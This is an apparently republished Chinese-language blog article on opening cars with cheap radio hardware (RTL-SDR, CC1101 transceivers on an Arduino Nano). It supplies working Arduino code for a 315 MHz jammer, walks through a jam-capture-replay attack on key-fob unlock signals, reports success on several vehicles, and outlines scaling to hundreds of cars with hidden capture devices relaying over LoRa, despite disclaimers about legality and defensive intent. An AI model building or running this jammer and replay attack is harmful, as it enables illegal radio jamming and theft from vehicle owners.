使用RTL-SDR打開車門


在最近幾年,入侵汽車在當代社會的黑客圈中成為熱點,很多文章表明汽車產業還有很多東西等待完善,在本篇文章中,我會讓你熟悉我一直研究的一些概念,以及如何在網狀網絡中使用一些便宜的部件滲透遠程開門系統。

軟件無線電

Software-defined radio(SDR)即軟件無線電,它是一種實現無線通信的新概念和體制。其中已在硬件上被實現的組件(例如混頻器,濾波器,放大器,調制器/解調器,檢測器等)可以通過軟件手段在個人計算機上或嵌入式系統中被代替,即很多功能是在軟件平台上實現的。雖然SDR不是一個新概念,但是隨着數字電子學的飛速發展,很多東西從理論可行轉變為實際可行。

然而大多數SDR設備都非常昂貴,特別是HackRF,BladeRF等等,如果你在尋找最便宜的方案,那么RTL2382U是個不錯的選擇,它們在Ebay上只需大約15美元。

這是我的RTL2382U以及一個天線。

這是另一個,我沒有停止用它,因為我在用它后面的GPS模塊。

使用這個設備和Linux機器連接起來,然后用HDSDR查看按鍵時的實時情況。

如你所見,寶馬汽車制造商使用頻段315Mhz,屏幕上的紅線是我按下按鈕時出現的。

當受害者走向他們的汽車並且按下解鎖鍵時,信號就會被發送到汽車,然后門就會被解鎖,所以我們需要在這一切發生之前攔截所有交互。

如何制作一個干擾器

在這部分,我在ebay上購買了一些CC1101無線射頻收發器,我們將通過這些,使用ardunio nano板來實施攔截和重放。

如上圖,我們有兩個CC1101收發器連接在ardunio nano上,任何手機都可以為nano供電,根據其收發強度,其有效范圍可達10米。

這個沒有太多技術含量,我修改了panstamp庫來使其在315Mhz上工作,因為原本的庫在433Mhz,868Mhz和915Mhz上工作,而這些頻段我們都不需要。接下來我們需要找出315頻段的頻譜中的highbyte,middlebyte和lowbyte。

低,中,高是三個寄存器,其值可以改變工作頻率。我使用的是12:29:137。

必須注意的是,在美國境內使用干擾器是非法的,這篇文章中的任何成功攻擊的信息都被移除,它只提供了使用的基礎且沒有深入,感謝理解!

#include "EEPROM.h"
#include "cc1101.h"

CC1101 cc1101;

// The LED is wired to the Arduino Output 4 (physical panStamp pin 19)
#define LEDOUTPUT 7

// counter to get increment in each loop
byte counter;
byte b;
byte syncWord = 199;

void blinker(){
//digitalWrite(LEDOUTPUT, HIGH);
//delay(100);
//digitalWrite(LEDOUTPUT, LOW);
///delay(100);
}

void setup()
{
//Serial.begin(38400);
Serial.begin(9200);
Serial.println("start");


// reset the counter
counter=0;
Serial.println("initializing...");
// initialize the RF Chip
cc1101.init();

cc1101.setSyncWord(&syncWord, false);
cc1101.setCarrierFreq(CFREQ_315);
cc1101.disableAddressCheck();
//cc1101.setTxPowerAmp(PA_LowPower);

//Serial.print("CC1101_PARTNUM "); //cc1101=0
Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_VERSION "); //cc1101=4
Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_MARCSTATE ");
Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f);
}

void send_data() {
CCPACKET data;
data.length=1000;

data.data[0]=10;
data.data[2]=1;
data.data[3]=1;
data.data[4]=0;
//cc1101.flushTxFifo ();
Serial.print(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER));
if(cc1101.sendData(data)){
send_data();
}
}
void loop()
{
send_data();

}

上面的代碼是我在使用CC1101時發現的,對我們來說效果不是特別好。

我首先要直接發送一個脈沖信號來阻止所有其他信號。在數據數組中填充1似乎是不錯的主意。

#include "EEPROM.h"
#include "cc1101.h"

CC1101 cc1101;
CCPACKET data;

void setup()
{
  // initialize the RF Chip
  cc1101.init();
  
  // For 315 MHz -> 0C1D8A
  // 0C1D8A gives 315000061.03515625 Hz
  
  cc1101.writeReg(CC1101_FREQ2,  0x0C); // Set Transmitter
  cc1101.writeReg(CC1101_FREQ1,  0X1D); // freq to
  cc1101.writeReg(CC1101_FREQ0,  0x8A); // 315 MHz
  
  data.length = 100;
  for(int a = 0; a < 100; a++) {
    data.data[a]= 1;              // Filling the data array
  }
  
}

void loop()
{
  cc1101.sendData(data);
}

當受害者按下解鎖按鈕時,信號首先被攔截,然后干擾信號(我們稱之為signalX)被捕獲並保存,隨后我們將使用GNURadio來從原始的鑰匙信號信號(我們稱之為signalY)中分離出我們創建的實際干擾信號。當受害者再次按下解鎖按鈕時,我們原來保存的signalX就被發送給汽車,signalY在稍后可以重放來解鎖同一輛車。當信號被捕獲時,你需要進行逆向才能發回。我使用GNURadio接收並解調原來的ASK信號,將其變成二進制調制波形,之后我可以用來重放。

振幅偏移調變(ASK)是振幅調制的一種形式,表示數字數據作為載波振幅的變化。在ASK系統中,通過在T秒的持續時間內傳送固定幅度載波和固定頻率來表示二進制1。如果信號值1不發送,則為0。

這個系統有用嗎?

有用,我在兩輛車和一輛卡車上測試了這個,都成功的打開了車門。可怕的是,任何人都可以花費不多的美元來實現這個系統;更可怕的是,SDR設備的價格正在穩步下滑,在這種情況下獲取一個定制的設備會變得更加容易。

進階

經過批量攻擊概念的證明,我寫了一些東西,證明了這種攻擊不僅可以一次攻擊一輛車,還可以一次攻擊數百輛的汽車。下面是一些關鍵點。

購買捕獲設備(我們稱之為veh1),通過磁鐵吸附在汽車下面,
當對方的密鑰信號被捕獲和解調時,我們想通過網狀網絡發送這個信號。
Wifi或者藍牙的距離不足以傳輸信號,我會使用的LoRa(長距離低功耗無線通訊技術),其有效范圍可達15英里。
veh1連接到其中心設備,並將其二進制調制波形發送出去。
如果能搭建一個類似發送包的網絡就更好了,給每一個設備一個名字,這樣一來你就知道那個設備對應的是哪輛車了。
收集數據:車輛名稱,顏色,位置和重放攻擊數據。
將其放置在任何車輛上,中央設備可以在幾分鍾內完成。

必須注意的是,在中國使用干擾器也是非法的,這篇文章中的任何成功攻擊的信息都被移除,它只提供了基礎的思路且沒有深入。該文章僅供研究如何防范,感謝理解!

原文鏈接:anthonys


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM